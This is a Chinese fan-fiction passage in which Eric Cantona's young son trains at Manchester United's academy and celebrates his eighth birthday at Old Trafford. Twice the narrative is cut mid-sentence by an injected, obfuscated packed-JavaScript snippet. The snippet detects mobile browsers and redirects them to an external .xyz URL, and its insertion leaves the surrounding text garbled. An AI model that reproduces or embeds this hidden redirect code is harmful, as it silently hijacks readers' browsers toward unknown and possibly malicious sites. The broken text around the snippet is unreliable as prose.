第一组结束，克里斯蒂亚诺排名倒数第三。他气喘吁吁地撑着膝盖，看见父亲正和弗格森在场边交谈。坎通纳没有看向这边，但克里斯蒂亚诺知道父亲一定在用余光观察。 “再来！”费兰的哨声刺破寒风，“这次脚踝绑沙袋！” 加重后的第二轮，克里斯蒂亚诺的鼻尖很快凝出汗珠。他的呼吸开始紊乱，但脑海中突然浮现父亲的话：“当身体想放弃时，精神必须多坚持十秒。” 最后二十米，他咬牙超过两名队员，排名升至第十一。 “罗纳尔多！”费兰叫住正往场边喝水的他，“知道你为什么落后吗？” 克里斯蒂亚诺茫然摇头。 “呼吸方式错了。”教练蹲下来，按住他的腹部，“短跑要腹式呼吸，像这样——” 远处，弗格森对坎通纳低声道：“你儿子有股狠劲，埃里克。但七岁就绑沙袋是不是太早了？” 坎通纳的目光追随着儿子第三次冲向终点的身影：“老板，您当年在格拉斯哥造船厂打工时，难道等肌肉长好才搬钢板吗？” 弗格森大笑，拍了拍他的后背：“下周带他来见我。预备队缺个球童。” 中午休息时，克里斯蒂亚诺独自在餐厅角落啃三明治。那个嘲笑他的U9队员突然坐到对面：“喂，法国佬，你爸爸真是坎通纳？” 克里斯蒂亚诺警惕地点点头。 “证明一下。”对方推过来一张餐巾纸，“让他给我签个名。” “自己要去！”克里斯蒂亚诺猛地站起来，“我不是快递员！” “哈！果然是冒牌货！”男孩故意提高音量，“说不定你妈妈只是——” 哗啦！一杯橙汁全泼在对方训练服上。整个餐厅瞬间安静，所有人都看向这个不到一米二的小豆丁。 “我爸爸说，”克里斯蒂亚诺声音发抖但字字清晰，“真正的曼联球员用脚说话。下午射门测试见！” 费兰闻讯赶来时，“橙汁事件”已传遍整个青训营。令人意外的是，教练只是挑了挑眉：“艾伦，去换衣服。克里斯蒂亚诺，过来帮忙搬训练锥筒。” 搬运途中，费兰突然问：“为什么泼果汁？” “他说我妈妈坏话。” “下次直接告诉我。”费兰把锥筒重重放在地上，“但在曼联，解决冲突的最好方式是——” “进球。”克里斯蒂亚诺脱口而出。 下午的射门测试成了私人对决。二十码外，艾伦五次射门进三球；轮到克里斯蒂亚诺时，他特意选了更远的二十五码位置。 “小子，那是U9的考核距离！”费兰提醒道。 克里斯蒂亚诺不答话，助跑后一记劲射——球如炮弹般窜入右上死角。第二次，他用脚内侧搓出弧线球；第三次，假动作晃过虚拟防守后低射破网…… “五球全中！”费兰的哨声带着惊喜，“技术评估满分！” 艾伦脸色铁青地离开场地。克里斯蒂亚诺正要欢呼，却看见父亲站在场边摇头——那是“还不够好”的信号。 回程的车上，坎通纳终于开口：“泼饮料很幼稚。” “可是他——” “真正的强者用实力让人闭嘴。”坎通纳单手转动方向盘，“不过……最后那个弧线球不错。” 这夸奖让克里斯蒂亚诺眼睛一亮。他扒着车窗看夜幕中的卡灵顿基地渐渐远去，忽然发现自己的倒影似乎比早晨高了一点点。 曼彻斯特的冬雨细密如针，克里斯蒂亚诺跪在卡灵顿基地的草皮上，浑身泥水混合着汗水，球衣紧贴着后背。费兰教练的哨声刺破雨幕：“最后十次射门！完不成就别想回家！” 二十码外的球门在雨中模糊成灰影。克里斯蒂亚诺抹了把脸上的雨水，将湿透的足球重重按在罚球点上——这是父亲昨晚特训时教他的小动作：“让球记住你的力量。” 第一脚，球滑出脚背，歪斜着飞向角旗。 第二脚，支撑腿在泥泞中打滑，射门绵软无力。 第三脚…… “停！”坎通纳的声音突然从场边传来。他撑着一把黑伞，西装裤脚沾满泥点，“脚踝发力方式错了。看着。” 伞被扔到一旁。坎通纳脱下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520591|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮鞋，赤脚踩进泥浆，接过儿子递来的球。助跑、摆腿、触球——足球划破雨帘直挂死角，溅起网窝一片水花。 “触球瞬间脚背绷直，像鞭子抽出去。”他拎起克里斯蒂亚诺的右脚，“这里，要锁死。” 克里斯蒂亚诺的牙齿咯咯打颤：“爸爸，我冷……” “冷？等你打进英超，会怀念这种冷。”坎通纳把外套裹在儿子身上，“继续！” 第七次射门时，球终于应声入网。克里斯蒂亚诺转身想庆祝，却发现父亲已回到场边，正和弗格森低声交谈。老特拉福德的国王此刻微微躬身，像学生在听导师教诲。 当晚，克里斯蒂亚诺泡在浴缸里背诵足球术语，膝盖上的擦伤被热水刺得生疼。艾米莉端着热牛奶进来时，发现儿子正对着瓷砖练习战术手势。 “妈妈，你知道‘压上造越位’的手势吗？”他扬起湿漉漉的手臂，“爸爸说裁判会这样……” “先喝牛奶，”艾米莉用浴巾裹住他，“你爸爸在书房发脾气呢。” 书房里，坎通纳正对着电话低吼：“我说过不接儿童广告！他是球员，不是马戏团猴子！” 克里斯蒂亚诺扒着门缝偷听，怀里的牛奶杯渐渐凉透。电话那头隐约传来经纪人的劝说：“埃里克，这是双赢……球迷喜欢看父子档……” “赢个屁！”坎通纳摔下听筒，转身看见儿子光脚站在门口，“克里斯，记住——”他蹲下身，手掌按在儿子胸口，“你的价值在球场，不在广告牌。” 周三的比赛日，克里斯蒂亚诺换上崭新的球童背心。老特拉福德的看台空荡荡的，但草皮的气息依旧让他心跳加速。弗格森特意将他安排在曼联替补席后方：“仔细看中场的跑位，特别是你爸爸的移动。” 比赛第35分钟，坎通纳被替换上场。克里斯蒂亚诺立刻抱起一筐足球跑到角旗区——这是球童的职责。他看见父亲向这边眨了眨眼，随即被预备队两人包夹。 坎通纳背身接球，突然用脚跟将球磕向克里斯蒂亚诺所在的方向。球童守则规定不能干预比赛，但克里斯蒂亚诺本能地将备用球踢回场内——完美的滚动轨迹让坎通纳顺势摆脱防守，直塞助攻得分！ “聪明的小子！”替补席爆发出欢呼。弗格森转头对助教低笑：“这算不算战术创新？” 赛后，坎通纳在球员通道拦住儿子：“知道刚才那招叫什么吗？” 克里斯蒂亚诺抱着脏兮兮的足球摇头。 “叫‘父子连线’。”坎通纳用球衣擦干儿子脸上的泥点，“但下不为例——裁判差点给你黄牌。” 圣诞前夜，青训营举行年终测试。克里斯蒂亚诺站在体重秤上——比月初重了1.5公斤，全是肌肉。费兰翻着测试报告：“折返跑进步12秒，对抗成功率提升到65%。不过……” “不过什么？”克里斯蒂亚诺急得跳脚。 “左脚传球准确率才71%。”费兰合上文件夹，“假期加练五百次传中。” 回程路上，坎通纳难得放了披头士的唱片。克里斯蒂亚诺在后座模仿主唱摇头晃脑，突然安静下来：“爸爸，我能在老特拉福德过生日吗？” “二月五日有主场对阵谢周三的比赛。”坎通纳从后视镜看他，“如果那时你……” “我会完成五百次传中！不，一千次！”克里斯蒂亚诺扑到前座椅背，“求你了爸爸！” 平安夜，克里斯蒂亚诺蜷缩在客厅地毯上等圣诞老人。午夜钟声响起时，他偷偷摸向圣诞树下的礼盒——不是球鞋，而是一本皮质训练日记。扉页上写着：“记录你的每一滴汗水。——爸爸” 阁楼传来脚步声。克里斯蒂亚诺踮脚望去，看见父亲正在整理旧物。马赛队的蓝色围巾、利兹联的白色护腕……最后，坎通纳打开一个铁盒，将曼联首秀的比赛用球放了进去。 “爸爸？” 坎通纳迅速合上铁盒：“怎么还不睡？” “这些……以后都会属于我吗？” “不，”坎通纳锁上铁盒，“你要创造自己的历史。” 窗外飘起细雪，老特拉福德的方向隐约传来《铃儿响叮当》的旋律。克里斯蒂亚诺抱紧训练日记，在落地窗上呵出一片白雾，画了个歪歪扭扭的7号。 1992年的最后一天，卡灵顿青训营的荣誉墙上多了一张照片：泥泞的训练场上，七岁的克里斯蒂亚诺正凌空抽射，背景里坎通纳的黑伞像一面沉默的旗帜。 11. 八岁的战歌 1993年2月5日清晨六点，曼彻斯特的雾气还未散尽，克里斯蒂亚诺已经醒了。他光着脚溜到父母卧室门口，把耳朵贴在门板上——里面传来父亲低沉的鼾声。 “克里斯？”艾米莉突然拉开房门，儿子差点栽进她怀里，“生日快乐，小冠军！” 克里斯蒂亚诺的棕绿色眼睛亮得惊人：“妈妈！我能现在拆礼物吗？就拆一个！” 艾米莉笑着把儿子推进浴室：“先刷牙洗脸。礼物要等爸爸起床一起拆。” 厨房飘来烤蛋糕的香气。克里斯蒂亚诺坐在餐桌前，脚丫悬空晃荡着，盯着墙上的挂钟数秒针转动。当坎通纳穿着睡袍出现时，他立刻跳下椅子：“爸爸！今天能让我当球童吗？弗格森先生答应过的！” 坎通纳往咖啡杯里丢了两块方糖：“先吃完早餐。还有——”他指了指墙角的训练包，“下午比赛前，完成三十次传中练习。” “今天是我生日！”克里斯蒂亚诺抗议。 “所以给你减了二十次。”坎通纳抿了口咖啡，“职业球员的生日在球场过才有意义。” 艾米莉端来插着八根蜡烛的煎蛋吐司：“许个愿吧。” 克里斯蒂亚诺闭眼三秒，吹灭蜡烛：“我许愿爸爸进三个球！” “说出来就不灵了，”坎通纳敲了下儿子的额头，“而且谢周三的后卫不是木头人。” 上午十点，老特拉福德的工作人员正在布置生日惊喜。克里斯蒂亚诺被母亲蒙着眼睛带进球场，耳边突然响起山呼海啸般的“生日快乐”——两百名季票球迷举着红白气球，在看台拼出巨大的“CR8”。 “这是……给我的？”克里斯蒂亚诺结结巴巴地问，小手攥紧了母亲的外套。 弗格森从球员通道走出，手里拎着件迷你版7号球衣：“小子，今天你是老特拉福德的小王子。不过——”他故意板起脸，“球童工作不能马虎。” 更衣室里，坎通纳正在缠绷带。克里斯蒂亚诺抱着装满足球的塑料筐蹭过来：“爸爸，球迷们叫我CR8，和你的7号好像！” “因为你是八岁的小麻烦，”坎通纳用绷带尾巴扫过儿子鼻尖，“过来，帮我检查鞋钉。” 克里斯蒂亚诺坐在地上一颗颗拧动鞋钉，突然发现父亲的小腿上有处瘀青：“这是上次德比战的伤吗？” “职业球员的勋章，”坎通纳套上球袜遮住伤痕，“记住，疼的时候要跑得更快。” 正午时分，家属看台飘起红色气球。克里斯蒂亚诺戴着特制的“CR8”袖标，在球童休息室来回踱步。工作人员老杰克递给他对讲机：“小寿星，今天你负责西侧角旗区。” “我能和爸爸击掌吗？像其他球童那样？” “除非他正好在你这边庆祝进球。” 开场哨响时，克里斯蒂亚诺看见父亲在中圈开球后突然加速，像把红色匕首直插对方腹地。 “传中！快传中！”他对着空气比划，直到被老杰克按回座位：“冷静点，你爸听得见吗？” 第二十三分钟，坎通纳在禁区边缘被放倒。克里斯蒂亚诺抱着急救箱就要冲出去，被老杰克一把薅住后领：“那是队医的活！你只负责捡球！” 任意球位置极佳。坎通纳后退五步，目光扫过球门右上角。克里斯蒂亚诺突然福至心灵，跳起来对着父亲比划“搓弧线”的手势——这是他们特训时的暗号。 助跑，起脚，足球划出诡异弧线绕过人墙。谢周三门将扑救时手套蹭到皮球，却无法阻止它钻入网窝！ “Goal！！！！” “坎通纳的生日礼物——送给他儿子的世界波！”解说员的声音响彻球场。 克里斯蒂亚诺冲向角旗区，被安保人员拦在广告牌外。坎通纳却径直跑来，隔着护栏捧住儿子发烫的小脸：“看到弧线了吗？” “像彩虹！”克里斯蒂亚诺尖叫。 “不，像八岁男孩的笑脸。”坎通纳的拇指擦过儿子眼角的泪花，转身跑回球场时，红衣翻涌如战旗。 比赛第三十七分钟，谢周三的进攻浪潮被曼联后防瓦解。布鲁斯一记精准长传找到坎通纳，红衣7号背身接球，突然用脚后跟将球磕向空当。吉格斯如红色闪电切入禁区，小角度推射破门。 克里斯蒂亚诺在西侧角旗区蹦跳着欢呼，怀里的备用球撒了一地。工作人员杰克手忙脚乱地捡球：“小祖宗！你得保证这里随时有备用球！” “知道啦！”克里斯蒂亚诺嘴上答应，眼睛却死死盯着正在庆祝的父亲。坎通纳没有像往常那样竖起衣领，而是对着家属看台比出“八”的手势。艾米莉所在的区域立刻爆发出欢呼，生日歌的旋律短暂压过了助威声。 上半场补时阶段，谢周三获得角球。克里斯蒂亚诺抱着球跑到角旗区，发现对方高大的中锋正瞪着自己。 “小鬼，把球给我。”中锋的约克郡口音混着唾沫星子。 克里斯蒂亚诺昂起头，用排练过无数次的英语回应：“请、请说‘请’。” 裁判忍俊不禁，看台传来哄笑。中锋涨红着脸弯下腰：“请给我球，小朋友。” “给你！”克里斯蒂亚诺用力把球抛过去，转身对杰克得意挑眉，“爸爸说，礼貌能打乱对手节奏！” 角球开出瞬间，坎通纳突然回撤到门线前。当所有人以为他要头球解围时，他却用大腿将球卸下，顺势趟过两名防守队员。老特拉福德屏住呼吸，只见他从中场开始奔袭，红衣掠过之处草屑飞溅。 克里斯蒂亚诺扒着广告牌，指甲几乎抠进塑料板里。谢周三的后卫且战且退，坎通纳在禁区弧顶突然急停，左脚兜出完美弧线—— “砰！” 足球击中横梁下沿砸入门线，反弹瞬间被门将捞出。裁判示意进球有效，谢周三球员立刻围住边裁抗议。 克里斯蒂亚诺的心脏快要跳出喉咙。他看见父亲径直走向场边摄像机，掀起球衣露出内衬上的金色字样：“ＣＲ８ ＨＡＰＰＹ ＢＩＲＴＨＤＡＹ”。 “妈妈！妈妈你看！”克里斯蒂亚诺指着大屏幕尖叫，全然忘记自己正在执勤。艾米莉在看台上抹眼泪，周围球迷纷纷伸手揉乱她的头发：“你们坎通纳家的男人都是魔术师！” 中场休息时，克里斯蒂亚诺被特许进入更衣室。他抱着冰桶挨个给球员递毛巾，轮到父亲时突然变戏法似的从背后掏出一块蛋糕：“弗格森先生特批的！只许吃一口！” 坎通纳的指尖沾了点奶油抹在儿子鼻尖：“下半场坐回妈妈身边，我要专心踢球。” “你保证再进一个？” “我保证让谢周三后悔今天穿鞋出门。” 球员通道里，谢周三教练正对着队员咆哮。坎通纳路过多媒体室时停住脚步——克里斯蒂亚诺被弗格森按在战术屏幕前，小手跟着录像回放比划跑位路线。 “……这里应该内切，对吗先生？” “聪明！不过要当心协防的后卫……” 坎通纳的嘴角微微扬起。他转身走向球场，红色战袍被通道的风鼓起，像一面猎猎作响的旗帜。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520592|170686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半场开赛前，克里斯蒂亚诺被艾米莉带回家属看台。他裹着父亲的红围巾，双手紧握栏杆，眼睛一眨不眨地盯着球员通道。当坎通纳第一个跑出通道时，他立刻跳起来大喊：“爸爸！这里！” 坎通纳抬头看向看台，对着儿子的方向轻轻点头。阳光穿过老特拉福德的顶棚，在他身上投下斑驳的光影，红色球衣在绿茵场上格外醒目。 “妈妈，爸爸会帽子戏法吗？”克里斯蒂亚诺拽着艾米莉的袖子问道。 艾米莉笑着揉了揉儿子的卷发：“足球比赛可没那么简单，亲爱的。谢周三肯定会加强防守。” 果然，下半场开始后，谢周三的防守变得异常凶狠。坎通纳每次拿球都会遭到两到三名球员的围堵。第五十三分钟，对方后卫一记飞铲将坎通纳放倒在地，裁判立刻掏出黄牌。 克里斯蒂亚诺紧张地抓住栏杆：“爸爸没事吧？” 坎通纳慢慢站起来，拍了拍膝盖上的草屑，脸上依然带着那种标志性的冷静。他走到罚球点前，将球稳稳放好，后退几步，目光锁定球门右上角。 助跑，起脚—— 足球划出一道完美的弧线，绕过人墙，直挂死角！ “Ｇoal！！！！” “坎通纳！帽子戏法！给儿子八岁生日的最佳礼物！”解说员的声音响彻整个老特拉福德。 克里斯蒂亚诺在看台上又蹦又跳，眼泪不自觉地流下来。他看见父亲跑到角旗区，对着看台比出“八”的手势，然后双手比心。全场球迷齐声高唱：“There''s only one Eric Cantona！There''s only one Eric Cantona！” 比赛第七十八分钟，弗格森将坎通纳换下场，让他独自接受全场球迷的掌声。克里斯蒂亚诺趴在栏杆上，拼命挥手，直到父亲的身影消失在球员通道。 终场哨响，曼联4：０完胜谢周三。克里斯蒂亚诺迫不及待地冲向更衣室，却被工作人员拦在门外：“罗纳尔多，稍等片刻，你爸爸在采访。” 更衣室里，记者们围着坎通纳七嘴八舌地提问：“埃里克，今天是你儿子的生日，这场胜利是送给他的礼物吗？” 坎通纳擦了擦汗，难得地露出微笑：“不，是他给我的礼物。每次看到他坐在看台上，我就想踢得更好一点。” 克里斯蒂亚诺听到这句话，鼻子一酸。他悄悄抹了抹眼睛，挺直腰板站在门外，努力让自己看起来像个大人。 十分钟后，更衣室门开了，记者们鱼贯而出。坎通纳走出来，手里拿着比赛用球：“给，生日礼物。” 克里斯蒂亚诺接过球，发现上面签满了曼联球员的名字，最上面是父亲的字迹：“致ＣＲ８，愿你的梦想比老特拉福德更大。——爸爸” “爸爸，今天是我最棒的生日！”克里斯蒂亚诺紧紧抱着球，抬头看着父亲，“我以后也要在这里踢球，像你一样！” 坎通纳蹲下身，平视儿子的眼睛：“记住今天的感觉。足球不仅仅是进球和胜利，更是……”他指了指克里斯蒂亚诺的胸口，“这里的热爱。” 回家的车上，克里斯蒂亚诺抱着比赛用球，时不时偷瞄父亲。坎通纳手握方向盘，目视前方，但嘴角微微上扬。 “爸爸，”克里斯蒂亚诺突然开口，“我能问你一个问题吗？” “说。” “为什么你总能进那么多球？” 坎通纳沉默片刻，轻声回答：“因为我从没停止奔跑，即使看不到球门的方向。”